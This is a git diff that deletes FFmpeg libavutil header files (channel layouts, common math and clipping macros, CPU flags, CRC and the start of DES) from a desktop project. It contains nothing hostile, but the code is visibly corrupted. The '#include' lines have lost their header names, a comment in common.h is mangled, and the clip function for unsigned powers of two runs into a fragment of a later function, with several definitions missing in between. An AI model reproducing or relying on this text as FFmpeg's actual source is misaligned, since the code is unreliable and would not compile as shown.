downmix. -#define AV_CH_STEREO_RIGHT 0x40000000 ///< See AV_CH_STEREO_LEFT. -#define AV_CH_WIDE_LEFT 0x0000000080000000ULL -#define AV_CH_WIDE_RIGHT 0x0000000100000000ULL -#define AV_CH_SURROUND_DIRECT_LEFT 0x0000000200000000ULL -#define AV_CH_SURROUND_DIRECT_RIGHT 0x0000000400000000ULL -#define AV_CH_LOW_FREQUENCY_2 0x0000000800000000ULL - -/** Channel mask value used for AVCodecContext.request_channel_layout - to indicate that the user requests the channel order of the decoder output - to be the native codec channel order. */ -#define AV_CH_LAYOUT_NATIVE 0x8000000000000000ULL - -/** - * @} - * @defgroup channel_mask_c Audio channel layouts - * @{ - * */ -#define AV_CH_LAYOUT_MONO (AV_CH_FRONT_CENTER) -#define AV_CH_LAYOUT_STEREO (AV_CH_FRONT_LEFT|AV_CH_FRONT_RIGHT) -#define AV_CH_LAYOUT_2POINT1 (AV_CH_LAYOUT_STEREO|AV_CH_LOW_FREQUENCY) -#define AV_CH_LAYOUT_2_1 (AV_CH_LAYOUT_STEREO|AV_CH_BACK_CENTER) -#define AV_CH_LAYOUT_SURROUND (AV_CH_LAYOUT_STEREO|AV_CH_FRONT_CENTER) -#define AV_CH_LAYOUT_3POINT1 (AV_CH_LAYOUT_SURROUND|AV_CH_LOW_FREQUENCY) -#define AV_CH_LAYOUT_4POINT0 (AV_CH_LAYOUT_SURROUND|AV_CH_BACK_CENTER) -#define AV_CH_LAYOUT_4POINT1 (AV_CH_LAYOUT_4POINT0|AV_CH_LOW_FREQUENCY) -#define AV_CH_LAYOUT_2_2 (AV_CH_LAYOUT_STEREO|AV_CH_SIDE_LEFT|AV_CH_SIDE_RIGHT) -#define AV_CH_LAYOUT_QUAD (AV_CH_LAYOUT_STEREO|AV_CH_BACK_LEFT|AV_CH_BACK_RIGHT) -#define AV_CH_LAYOUT_5POINT0 (AV_CH_LAYOUT_SURROUND|AV_CH_SIDE_LEFT|AV_CH_SIDE_RIGHT) -#define AV_CH_LAYOUT_5POINT1 (AV_CH_LAYOUT_5POINT0|AV_CH_LOW_FREQUENCY) -#define AV_CH_LAYOUT_5POINT0_BACK (AV_CH_LAYOUT_SURROUND|AV_CH_BACK_LEFT|AV_CH_BACK_RIGHT) -#define AV_CH_LAYOUT_5POINT1_BACK (AV_CH_LAYOUT_5POINT0_BACK|AV_CH_LOW_FREQUENCY) -#define AV_CH_LAYOUT_6POINT0 (AV_CH_LAYOUT_5POINT0|AV_CH_BACK_CENTER) -#define AV_CH_LAYOUT_6POINT0_FRONT (AV_CH_LAYOUT_2_2|AV_CH_FRONT_LEFT_OF_CENTER|AV_CH_FRONT_RIGHT_OF_CENTER) -#define AV_CH_LAYOUT_HEXAGONAL (AV_CH_LAYOUT_5POINT0_BACK|AV_CH_BACK_CENTER) -#define AV_CH_LAYOUT_6POINT1 (AV_CH_LAYOUT_5POINT1|AV_CH_BACK_CENTER) -#define AV_CH_LAYOUT_6POINT1_BACK (AV_CH_LAYOUT_5POINT1_BACK|AV_CH_BACK_CENTER) -#define AV_CH_LAYOUT_6POINT1_FRONT (AV_CH_LAYOUT_6POINT0_FRONT|AV_CH_LOW_FREQUENCY) -#define AV_CH_LAYOUT_7POINT0 (AV_CH_LAYOUT_5POINT0|AV_CH_BACK_LEFT|AV_CH_BACK_RIGHT) -#define AV_CH_LAYOUT_7POINT0_FRONT (AV_CH_LAYOUT_5POINT0|AV_CH_FRONT_LEFT_OF_CENTER|AV_CH_FRONT_RIGHT_OF_CENTER) -#define AV_CH_LAYOUT_7POINT1 (AV_CH_LAYOUT_5POINT1|AV_CH_BACK_LEFT|AV_CH_BACK_RIGHT) -#define AV_CH_LAYOUT_7POINT1_WIDE (AV_CH_LAYOUT_5POINT1|AV_CH_FRONT_LEFT_OF_CENTER|AV_CH_FRONT_RIGHT_OF_CENTER) -#define AV_CH_LAYOUT_7POINT1_WIDE_BACK (AV_CH_LAYOUT_5POINT1_BACK|AV_CH_FRONT_LEFT_OF_CENTER|AV_CH_FRONT_RIGHT_OF_CENTER) -#define AV_CH_LAYOUT_OCTAGONAL (AV_CH_LAYOUT_5POINT0|AV_CH_BACK_LEFT|AV_CH_BACK_CENTER|AV_CH_BACK_RIGHT) -#define AV_CH_LAYOUT_HEXADECAGONAL (AV_CH_LAYOUT_OCTAGONAL|AV_CH_WIDE_LEFT|AV_CH_WIDE_RIGHT|AV_CH_TOP_BACK_LEFT|AV_CH_TOP_BACK_RIGHT|AV_CH_TOP_BACK_CENTER|AV_CH_TOP_FRONT_CENTER|AV_CH_TOP_FRONT_LEFT|AV_CH_TOP_FRONT_RIGHT) -#define AV_CH_LAYOUT_STEREO_DOWNMIX (AV_CH_STEREO_LEFT|AV_CH_STEREO_RIGHT) - -enum AVMatrixEncoding { - AV_MATRIX_ENCODING_NONE, - AV_MATRIX_ENCODING_DOLBY, - AV_MATRIX_ENCODING_DPLII, - AV_MATRIX_ENCODING_DPLIIX, - AV_MATRIX_ENCODING_DPLIIZ, - AV_MATRIX_ENCODING_DOLBYEX, - AV_MATRIX_ENCODING_DOLBYHEADPHONE, - AV_MATRIX_ENCODING_NB -}; - -/** - * Return a channel layout id that matches name, or 0 if no match is found. - * - * name can be one or several of the following notations, - * separated by '+' or '|': - * - the name of an usual channel layout (mono, stereo, 4.0, quad, 5.0, - * 5.0(side), 5.1, 5.1(side), 7.1, 7.1(wide), downmix); - * - the name of a single channel (FL, FR, FC, LFE, BL, BR, FLC, FRC, BC, - * SL, SR, TC, TFL, TFC, TFR, TBL, TBC, TBR, DL, DR); - * - a number of channels, in decimal, optionally followed by 'c', yielding - * the default channel layout for that number of channels (@see - * av_get_default_channel_layout); - * - a channel layout mask, in hexadecimal starting with "0x" (see the - * AV_CH_* macros). - * - * @warning Starting from the next major bump the trailing character - * 'c' to specify a number of channels will be required, while a - * channel layout mask could also be specified as a decimal number - * (if and only if not followed by "c"). - * - * Example: "stereo+FC" = "2c+FC" = "2c+1c" = "0x7" - */ -uint64_t av_get_channel_layout(const char *name); - -/** - * Return a description of a channel layout. - * If nb_channels is <= 0, it is guessed from the channel_layout. - * - * @param buf put here the string containing the channel layout - * @param buf_size size in bytes of the buffer - */ -void av_get_channel_layout_string(char *buf, int buf_size, int nb_channels, uint64_t channel_layout); - -struct AVBPrint; -/** - * Append a description of a channel layout to a bprint buffer. - */ -void av_bprint_channel_layout(struct AVBPrint *bp, int nb_channels, uint64_t channel_layout); - -/** - * Return the number of channels in the channel layout. - */ -int av_get_channel_layout_nb_channels(uint64_t channel_layout); - -/** - * Return default channel layout for a given number of channels. - */ -int64_t av_get_default_channel_layout(int nb_channels); - -/** - * Get the index of a channel in channel_layout. - * - * @param channel a channel layout describing exactly one channel which must be - * present in channel_layout. - * - * @return index of channel in channel_layout on success, a negative AVERROR - * on error. - */ -int av_get_channel_layout_channel_index(uint64_t channel_layout, - uint64_t channel); - -/** - * Get the channel with the given index in channel_layout. - */ -uint64_t av_channel_layout_extract_channel(uint64_t channel_layout, int index); - -/** - * Get the name of a given channel. - * - * @return channel name on success, NULL on error. - */ -const char *av_get_channel_name(uint64_t channel); - -/** - * Get the description of a given channel. - * - * @param channel a channel layout with a single channel - * @return channel description on success, NULL on error - */ -const char *av_get_channel_description(uint64_t channel); - -/** - * Get the value and name of a standard channel layout. - * - * @param[in] index index in an internal list, starting at 0 - * @param[out] layout channel layout mask - * @param[out] name name of the layout - * @return 0 if the layout exists, - * <0 if index is beyond the limits - */ -int av_get_standard_channel_layout(unsigned index, uint64_t *layout, - const char **name); - -/** - * @} - * @} - */ - -#endif /* AVUTIL_CHANNEL_LAYOUT_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/common.h b/desktop_3230/FFmpeg/include/libavutil/common.h deleted file mode 100644 index 8142b31..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/common.h +++ /dev/null @@ -1,530 +0,0 @@ -/* - * copyright (c) 2006 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * @file - * common internal and external API header - */ - -#ifndef AVUTIL_COMMON_H -#define AVUTIL_COMMON_H - -#if defined(__cplusplus) && !defined(__STDC_CONSTANT_MACROS) && !defined(UINT64_C) -#error missing -D__STDC_CONSTANT_MACROS / #define __STDC_CONSTANT_MACROS -#endif - -#include -#include -#include -#include -#include -#include -#include -#include - -#include "attributes.h" -#include "macros.h" -#include "version.h" -#include "libavutil/avconfig.h" - -#if AV_HAVE_BIGENDIAN -# define AV_NE(be, le) (be) -#else -# define AV_NE(be, le) (le) -#endif - -//rounded division & shift -#define RSHIFT(a,b) ((a) > 0 ? ((a) + ((1<<(b))>>1))>>(b) : ((a) + ((1<<(b))>>1)-1)>>(b)) -/* assume b>0 */ -#define ROUNDED_DIV(a,b) (((a)>0 ? (a) + ((b)>>1) : (a) - ((b)>>1))/(b)) -/* Fast a/(1<=0 and b>=0 */ -#define AV_CEIL_RSHIFT(a,b) (!av_builtin_constant_p(b) ? -((-(a)) >> (b)) \ - : ((a) + (1<<(b)) - 1) >> (b)) -/* Backwards compat. */ -#define FF_CEIL_RSHIFT AV_CEIL_RSHIFT - -#define FFUDIV(a,b) (((a)>0 ?(a):(a)-(b)+1) / (b)) -#define FFUMOD(a,b) ((a)-(b)*FFUDIV(a,b)) - -/** - * Absolute value, Note, INT_MIN / INT64_MIN result in undefined behavior as they - * are not representable as absolute values of their type. This is the same - * as with *abs() - * @see FFNABS() - */ -#define FFABS(a) ((a) >= 0 ? (a) : (-(a))) -#define FFSIGN(a) ((a) > 0 ? 1 : -1) - -/** - * Negative Absolute value. - * this works for all integers of all types. - * As with many macros, this evaluates its argument twice, it thus must not have - * a sideeffect, that is FFNABS(x++) has undefined behavior. - */ -#define FFNABS(a) ((a) <= 0 ? (a) : (-(a))) - -/** - * Comparator. - * For two numerical expressions x and y, gives 1 if x > y, -1 if x < y, and 0 - * if x == y. This is useful for instance in a qsort comparator callback. - * Furthermore, compilers are able to optimize this to branchless code, and - * there is no risk of overflow with signed types. - * As with many macros, this evaluates its argument multiple times, it thus - * must not have a side-effect. - */ -#define FFDIFFSIGN(x,y) (((x)>(y)) - ((x)<(y))) - -#define FFMAX(a,b) ((a) > (b) ? (a) : (b)) -#define FFMAX3(a,b,c) FFMAX(FFMAX(a,b),c) -#define FFMIN(a,b) ((a) > (b) ? (b) : (a)) -#define FFMIN3(a,b,c) FFMIN(FFMIN(a,b),c) - -#define FFSWAP(type,a,b) do{type SWAP_tmp= b; b= a; a= SWAP_tmp;}while(0) -#define FF_ARRAY_ELEMS(a) (sizeof(a) / sizeof((a)[0])) - -/* misc math functions */ - -#ifdef HAVE_AV_CONFIG_H -# include "config.h" -# include "intmath.h" -#endif - -/* Pull in unguarded fallback defines at the end of this file. */ -#include "common.h" - -#ifndef av_log2 -av_const int av_log2(unsigned v); -#endif - -#ifndef av_log2_16bit -av_const int av_log2_16bit(unsigned v); -#endif - -/** - * Clip a signed integer value into the amin-amax range. - * @param a value to clip - * @param amin minimum value of the clip range - * @param amax maximum value of the clip range - * @return clipped value - */ -static av_always_inline av_const int av_clip_c(int a, int amin, int amax) -{ -#if defined(HAVE_AV_CONFIG_H) && defined(ASSERT_LEVEL) && ASSERT_LEVEL >= 2 - if (amin > amax) abort(); -#endif - if (a < amin) return amin; - else if (a > amax) return amax; - else return a; -} - -/** - * Clip a signed 64bit integer value into the amin-amax range. - * @param a value to clip - * @param amin minimum value of the clip range - * @param amax maximum value of the clip range - * @return clipped value - */ -static av_always_inline av_const int64_t av_clip64_c(int64_t a, int64_t amin, int64_t amax) -{ -#if defined(HAVE_AV_CONFIG_H) && defined(ASSERT_LEVEL) && ASSERT_LEVEL >= 2 - if (amin > amax) abort(); -#endif - if (a < amin) return amin; - else if (a > amax) return amax; - else return a; -} - -/** - * Clip a signed integer value into the 0-255 range. - * @param a value to clip - * @return clipped value - */ -static av_always_inline av_const uint8_t av_clip_uint8_c(int a) -{ - if (a&(~0xFF)) return (-a)>>31; - else return a; -} - -/** - * Clip a signed integer value into the -128,127 range. - * @param a value to clip - * @return clipped value - */ -static av_always_inline av_const int8_t av_clip_int8_c(int a) -{ - if ((a+0x80U) & ~0xFF) return (a>>31) ^ 0x7F; - else return a; -} - -/** - * Clip a signed integer value into the 0-65535 range. - * @param a value to clip - * @return clipped value - */ -static av_always_inline av_const uint16_t av_clip_uint16_c(int a) -{ - if (a&(~0xFFFF)) return (-a)>>31; - else return a; -} - -/** - * Clip a signed integer value into the -32768,32767 range. - * @param a value to clip - * @return clipped value - */ -static av_always_inline av_const int16_t av_clip_int16_c(int a) -{ - if ((a+0x8000U) & ~0xFFFF) return (a>>31) ^ 0x7FFF; - else return a; -} - -/** - * Clip a signed 64-bit integer value into the -2147483648,2147483647 range. - * @param a value to clip - * @return clipped value - */ -static av_always_inline av_const int32_t av_clipl_int32_c(int64_t a) -{ - if ((a+0x80000000u) & ~UINT64_C(0xFFFFFFFF)) return (int32_t)((a>>63) ^ 0x7FFFFFFF); - else return (int32_t)a; -} - -/** - * Clip a signed integer into the -(2^p),(2^p-1) range. - * @param a value to clip - * @param p bit position to clip at - * @return clipped value - */ -static av_always_inline av_const int av_clip_intp2_c(int a, int p) -{ - if (((unsigned)a + (1 << p)) & ~((2 << p) - 1)) - return (a >> 31) ^ ((1 << p) - 1); - else - return a; -} - -/** - * Clip a signed integer to an unsigned power of two range. - * @param a value to clip - * @param p bit position to clip at - * @return clipped value - */ -static av_always_inline av_const unsigned av_clip_uintp2_c(int a, int p) -{ - if (a & ~((1<> 31 & ((1<= 2 - if (amin > amax) abort(); -#endif - if (a < amin) return amin; - else if (a > amax) return amax; - else return a; -} - -/** - * Clip a double value into the amin-amax range. - * @param a value to clip - * @param amin minimum value of the clip range - * @param amax maximum value of the clip range - * @return clipped value - */ -static av_always_inline av_const double av_clipd_c(double a, double amin, double amax) -{ -#if defined(HAVE_AV_CONFIG_H) && defined(ASSERT_LEVEL) && ASSERT_LEVEL >= 2 - if (amin > amax) abort(); -#endif - if (a < amin) return amin; - else if (a > amax) return amax; - else return a; -} - -/** Compute ceil(log2(x)). - * @param x value used to compute ceil(log2(x)) - * @return computed ceiling of log2(x) - */ -static av_always_inline av_const int av_ceil_log2_c(int x) -{ - return av_log2((x - 1) << 1); -} - -/** - * Count number of bits set to one in x - * @param x value to count bits of - * @return the number of bits set to one in x - */ -static av_always_inline av_const int av_popcount_c(uint32_t x) -{ - x -= (x >> 1) & 0x55555555; - x = (x & 0x33333333) + ((x >> 2) & 0x33333333); - x = (x + (x >> 4)) & 0x0F0F0F0F; - x += x >> 8; - return (x + (x >> 16)) & 0x3F; -} - -/** - * Count number of bits set to one in x - * @param x value to count bits of - * @return the number of bits set to one in x - */ -static av_always_inline av_const int av_popcount64_c(uint64_t x) -{ - return av_popcount((uint32_t)x) + av_popcount((uint32_t)(x >> 32)); -} - -static av_always_inline av_const int av_parity_c(uint32_t v) -{ - return av_popcount(v) & 1; -} - -#define MKTAG(a,b,c,d) ((a) | ((b) << 8) | ((c) << 16) | ((unsigned)(d) << 24)) -#define MKBETAG(a,b,c,d) ((d) | ((c) << 8) | ((b) << 16) | ((unsigned)(a) << 24)) - -/** - * Convert a UTF-8 character (up to 4 bytes) to its 32-bit UCS-4 encoded form. - * - * @param val Output value, must be an lvalue of type uint32_t. - * @param GET_BYTE Expression reading one byte from the input. - * Evaluated up to 7 times (4 for the currently - * assigned Unicode range). With a memory buffer - * input, this could be *ptr++. - * @param ERROR Expression to be evaluated on invalid input, - * typically a goto statement. - * - * @warning ERROR should not contain a loop control statement which - * could interact with the internal while loop, and should force an - * exit from the macro code (e.g. through a goto or a return) in order - * to prevent undefined results. - */ -#define GET_UTF8(val, GET_BYTE, ERROR)\ - val= (GET_BYTE);\ - {\ - uint32_t top = (val & 128) >> 1;\ - if ((val & 0xc0) == 0x80 || val >= 0xFE)\ - ERROR\ - while (val & top) {\ - int tmp= (GET_BYTE) - 128;\ - if(tmp>>6)\ - ERROR\ - val= (val<<6) + tmp;\ - top <<= 5;\ - }\ - val &= (top << 1) - 1;\ - } - -/** - * Convert a UTF-16 character (2 or 4 bytes) to its 32-bit UCS-4 encoded form. - * - * @param val Output value, must be an lvalue of type uint32_t. - * @param GET_16BIT Expression returning two bytes of UTF-16 data converted - * to native byte order. Evaluated one or two times. - * @param ERROR Expression to be evaluated on invalid input, - * typically a goto statement. - */ -#define GET_UTF16(val, GET_16BIT, ERROR)\ - val = GET_16BIT;\ - {\ - unsigned int hi = val - 0xD800;\ - if (hi < 0x800) {\ - val = GET_16BIT - 0xDC00;\ - if (val > 0x3FFU || hi > 0x3FFU)\ - ERROR\ - val += (hi<<10) + 0x10000;\ - }\ - }\ - -/** - * @def PUT_UTF8(val, tmp, PUT_BYTE) - * Convert a 32-bit Unicode character to its UTF-8 encoded form (up to 4 bytes long). - * @param val is an input-only argument and should be of type uint32_t. It holds - * a UCS-4 encoded Unicode character that is to be converted to UTF-8. If - * val is given as a function it is executed only once. - * @param tmp is a temporary variable and should be of type uint8_t. It - * represents an intermediate value during conversion that is to be - * output by PUT_BYTE. - * @param PUT_BYTE writes the converted UTF-8 bytes to any proper destination. - * It could be a function or a statement, and uses tmp as the input byte. - * For example, PUT_BYTE could be "*output++ = tmp;" PUT_BYTE will be - * executed up to 4 times for values in the valid UTF-8 range and up to - * 7 times in the general case, depending on the length of the converted - * Unicode character. - */ -#define PUT_UTF8(val, tmp, PUT_BYTE)\ - {\ - int bytes, shift;\ - uint32_t in = val;\ - if (in < 0x80) {\ - tmp = in;\ - PUT_BYTE\ - } else {\ - bytes = (av_log2(in) + 4) / 5;\ - shift = (bytes - 1) * 6;\ - tmp = (256 - (256 >> bytes)) | (in >> shift);\ - PUT_BYTE\ - while (shift >= 6) {\ - shift -= 6;\ - tmp = 0x80 | ((in >> shift) & 0x3f);\ - PUT_BYTE\ - }\ - }\ - } - -/** - * @def PUT_UTF16(val, tmp, PUT_16BIT) - * Convert a 32-bit Unicode character to its UTF-16 encoded form (2 or 4 bytes). - * @param val is an input-only argument and should be of type uint32_t. It holds - * a UCS-4 encoded Unicode character that is to be converted to UTF-16. If - * val is given as a function it is executed only once. - * @param tmp is a temporary variable and should be of type uint16_t. It - * represents an intermediate value during conversion that is to be - * output by PUT_16BIT. - * @param PUT_16BIT writes the converted UTF-16 data to any proper destination - * in desired endianness. It could be a function or a statement, and uses tmp - * as the input byte. For example, PUT_BYTE could be "*output++ = tmp;" - * PUT_BYTE will be executed 1 or 2 times depending on input character. - */ -#define PUT_UTF16(val, tmp, PUT_16BIT)\ - {\ - uint32_t in = val;\ - if (in < 0x10000) {\ - tmp = in;\ - PUT_16BIT\ - } else {\ - tmp = 0xD800 | ((in - 0x10000) >> 10);\ - PUT_16BIT\ - tmp = 0xDC00 | ((in - 0x10000) & 0x3FF);\ - PUT_16BIT\ - }\ - }\ - - - -#include "mem.h" - -#ifdef HAVE_AV_CONFIG_H -# include "internal.h" -#endif /* HAVE_AV_CONFIG_H */ - -#endif /* AVUTIL_COMMON_H */ - -/* - * The following definitions are outside the multiple inclusion guard - * to ensure they are immediately available in intmath.h. - */ - -#ifndef av_ceil_log2 -# define av_ceil_log2 av_ceil_log2_c -#endif -#ifndef av_clip -# define av_clip av_clip_c -#endif -#ifndef av_clip64 -# define av_clip64 av_clip64_c -#endif -#ifndef av_clip_uint8 -# define av_clip_uint8 av_clip_uint8_c -#endif -#ifndef av_clip_int8 -# define av_clip_int8 av_clip_int8_c -#endif -#ifndef av_clip_uint16 -# define av_clip_uint16 av_clip_uint16_c -#endif -#ifndef av_clip_int16 -# define av_clip_int16 av_clip_int16_c -#endif -#ifndef av_clipl_int32 -# define av_clipl_int32 av_clipl_int32_c -#endif -#ifndef av_clip_intp2 -# define av_clip_intp2 av_clip_intp2_c -#endif -#ifndef av_clip_uintp2 -# define av_clip_uintp2 av_clip_uintp2_c -#endif -#ifndef av_mod_uintp2 -# define av_mod_uintp2 av_mod_uintp2_c -#endif -#ifndef av_sat_add32 -# define av_sat_add32 av_sat_add32_c -#endif -#ifndef av_sat_dadd32 -# define av_sat_dadd32 av_sat_dadd32_c -#endif -#ifndef av_clipf -# define av_clipf av_clipf_c -#endif -#ifndef av_clipd -# define av_clipd av_clipd_c -#endif -#ifndef av_popcount -# define av_popcount av_popcount_c -#endif -#ifndef av_popcount64 -# define av_popcount64 av_popcount64_c -#endif -#ifndef av_parity -# define av_parity av_parity_c -#endif diff --git a/desktop_3230/FFmpeg/include/libavutil/cpu.h b/desktop_3230/FFmpeg/include/libavutil/cpu.h deleted file mode 100644 index cc4e30c..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/cpu.h +++ /dev/null @@ -1,117 +0,0 @@ -/* - * Copyright (c) 2000, 2001, 2002 Fabrice Bellard - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_CPU_H -#define AVUTIL_CPU_H - -#include "attributes.h" - -#define AV_CPU_FLAG_FORCE 0x80000000 /* force usage of selected flags (OR) */ - - /* lower 16 bits - CPU features */ -#define AV_CPU_FLAG_MMX 0x0001 ///< standard MMX -#define AV_CPU_FLAG_MMXEXT 0x0002 ///< SSE integer functions or AMD MMX ext -#define AV_CPU_FLAG_MMX2 0x0002 ///< SSE integer functions or AMD MMX ext -#define AV_CPU_FLAG_3DNOW 0x0004 ///< AMD 3DNOW -#define AV_CPU_FLAG_SSE 0x0008 ///< SSE functions -#define AV_CPU_FLAG_SSE2 0x0010 ///< PIV SSE2 functions -#define AV_CPU_FLAG_SSE2SLOW 0x40000000 ///< SSE2 supported, but usually not faster - ///< than regular MMX/SSE (e.g. Core1) -#define AV_CPU_FLAG_3DNOWEXT 0x0020 ///< AMD 3DNowExt -#define AV_CPU_FLAG_SSE3 0x0040 ///< Prescott SSE3 functions -#define AV_CPU_FLAG_SSE3SLOW 0x20000000 ///< SSE3 supported, but usually not faster - ///< than regular MMX/SSE (e.g. Core1) -#define AV_CPU_FLAG_SSSE3 0x0080 ///< Conroe SSSE3 functions -#define AV_CPU_FLAG_ATOM 0x10000000 ///< Atom processor, some SSSE3 instructions are slower -#define AV_CPU_FLAG_SSE4 0x0100 ///< Penryn SSE4.1 functions -#define AV_CPU_FLAG_SSE42 0x0200 ///< Nehalem SSE4.2 functions -#define AV_CPU_FLAG_AESNI 0x80000 ///< Advanced Encryption Standard functions -#define AV_CPU_FLAG_AVX 0x4000 ///< AVX functions: requires OS support even if YMM registers aren't used -#define AV_CPU_FLAG_AVXSLOW 0x8000000 ///< AVX supported, but slow when using YMM registers (e.g. Bulldozer) -#define AV_CPU_FLAG_XOP 0x0400 ///< Bulldozer XOP functions -#define AV_CPU_FLAG_FMA4 0x0800 ///< Bulldozer FMA4 functions -#define AV_CPU_FLAG_CMOV 0x1000 ///< supports cmov instruction -#define AV_CPU_FLAG_AVX2 0x8000 ///< AVX2 functions: requires OS support even if YMM registers aren't used -#define AV_CPU_FLAG_FMA3 0x10000 ///< Haswell FMA3 functions -#define AV_CPU_FLAG_BMI1 0x20000 ///< Bit Manipulation Instruction Set 1 -#define AV_CPU_FLAG_BMI2 0x40000 ///< Bit Manipulation Instruction Set 2 - -#define AV_CPU_FLAG_ALTIVEC 0x0001 ///< standard -#define AV_CPU_FLAG_VSX 0x0002 ///< ISA 2.06 -#define AV_CPU_FLAG_POWER8 0x0004 ///< ISA 2.07 - -#define AV_CPU_FLAG_ARMV5TE (1 << 0) -#define AV_CPU_FLAG_ARMV6 (1 << 1) -#define AV_CPU_FLAG_ARMV6T2 (1 << 2) -#define AV_CPU_FLAG_VFP (1 << 3) -#define AV_CPU_FLAG_VFPV3 (1 << 4) -#define AV_CPU_FLAG_NEON (1 << 5) -#define AV_CPU_FLAG_ARMV8 (1 << 6) -#define AV_CPU_FLAG_VFP_VM (1 << 7) ///< VFPv2 vector mode, deprecated in ARMv7-A and unavailable in various CPUs implementations -#define AV_CPU_FLAG_SETEND (1 <<16) - -/** - * Return the flags which specify extensions supported by the CPU. - * The returned value is affected by av_force_cpu_flags() if that was used - * before. So av_get_cpu_flags() can easily be used in a application to - * detect the enabled cpu flags. - */ -int av_get_cpu_flags(void); - -/** - * Disables cpu detection and forces the specified flags. - * -1 is a special case that disables forcing of specific flags. - */ -void av_force_cpu_flags(int flags); - -/** - * Set a mask on flags returned by av_get_cpu_flags(). - * This function is mainly useful for testing. - * Please use av_force_cpu_flags() and av_get_cpu_flags() instead which are more flexible - * - * @warning this function is not thread safe. - */ -attribute_deprecated void av_set_cpu_flags_mask(int mask); - -/** - * Parse CPU flags from a string. - * - * The returned flags contain the specified flags as well as related unspecified flags. - * - * This function exists only for compatibility with libav. - * Please use av_parse_cpu_caps() when possible. - * @return a combination of AV_CPU_* flags, negative on error. - */ -attribute_deprecated -int av_parse_cpu_flags(const char *s); - -/** - * Parse CPU caps from a string and update the given AV_CPU_* flags based on that. - * - * @return negative on error. - */ -int av_parse_cpu_caps(unsigned *flags, const char *s); - -/** - * @return the number of logical CPU cores present. - */ -int av_cpu_count(void); - -#endif /* AVUTIL_CPU_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/crc.h b/desktop_3230/FFmpeg/include/libavutil/crc.h deleted file mode 100644 index ef8a713..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/crc.h +++ /dev/null @@ -1,91 +0,0 @@ -/* - * copyright (c) 2006 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_CRC_H -#define AVUTIL_CRC_H - -#include -#include -#include "attributes.h" -#include "version.h" - -/** - * @defgroup lavu_crc32 CRC32 - * @ingroup lavu_crypto - * @{ - */ - -typedef uint32_t AVCRC; - -typedef enum { - AV_CRC_8_ATM, - AV_CRC_16_ANSI, - AV_CRC_16_CCITT, - AV_CRC_32_IEEE, - AV_CRC_32_IEEE_LE, /*< reversed bitorder version of AV_CRC_32_IEEE */ - AV_CRC_16_ANSI_LE, /*< reversed bitorder version of AV_CRC_16_ANSI */ -#if FF_API_CRC_BIG_TABLE - AV_CRC_24_IEEE = 12, -#else - AV_CRC_24_IEEE, -#endif /* FF_API_CRC_BIG_TABLE */ - AV_CRC_MAX, /*< Not part of public API! Do not use outside libavutil. */ -}AVCRCId; - -/** - * Initialize a CRC table. - * @param ctx must be an array of size sizeof(AVCRC)*257 or sizeof(AVCRC)*1024 - * @param le If 1, the lowest bit represents the coefficient for the highest - * exponent of the corresponding polynomial (both for poly and - * actual CRC). - * If 0, you must swap the CRC parameter and the result of av_crc - * if you need the standard representation (can be simplified in - * most cases to e.g. bswap16): - * av_bswap32(crc << (32-bits)) - * @param bits number of bits for the CRC - * @param poly generator polynomial without the x**bits coefficient, in the - * representation as specified by le - * @param ctx_size size of ctx in bytes - * @return <0 on failure - */ -int av_crc_init(AVCRC *ctx, int le, int bits, uint32_t poly, int ctx_size); - -/** - * Get an initialized standard CRC table. - * @param crc_id ID of a standard CRC - * @return a pointer to the CRC table or NULL on failure - */ -const AVCRC *av_crc_get_table(AVCRCId crc_id); - -/** - * Calculate the CRC of a block. - * @param crc CRC of previous blocks if any or initial value for CRC - * @return CRC updated with the data from the given block - * - * @see av_crc_init() "le" parameter - */ -uint32_t av_crc(const AVCRC *ctx, uint32_t crc, - const uint8_t *buffer, size_t length) av_pure; - -/** - * @} - */ - -#endif /* AVUTIL_CRC_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/des.h b/desktop_3230/FFmpeg/include/libavutil/des.h deleted file mode 100644 index 4cf11f5..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/des.h +++ /dev/null @@ -1,77 +0,0 @@ -/* - * DES encryption/decryption - * Copyright (c) 2007 Reimar Doeffinger - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more 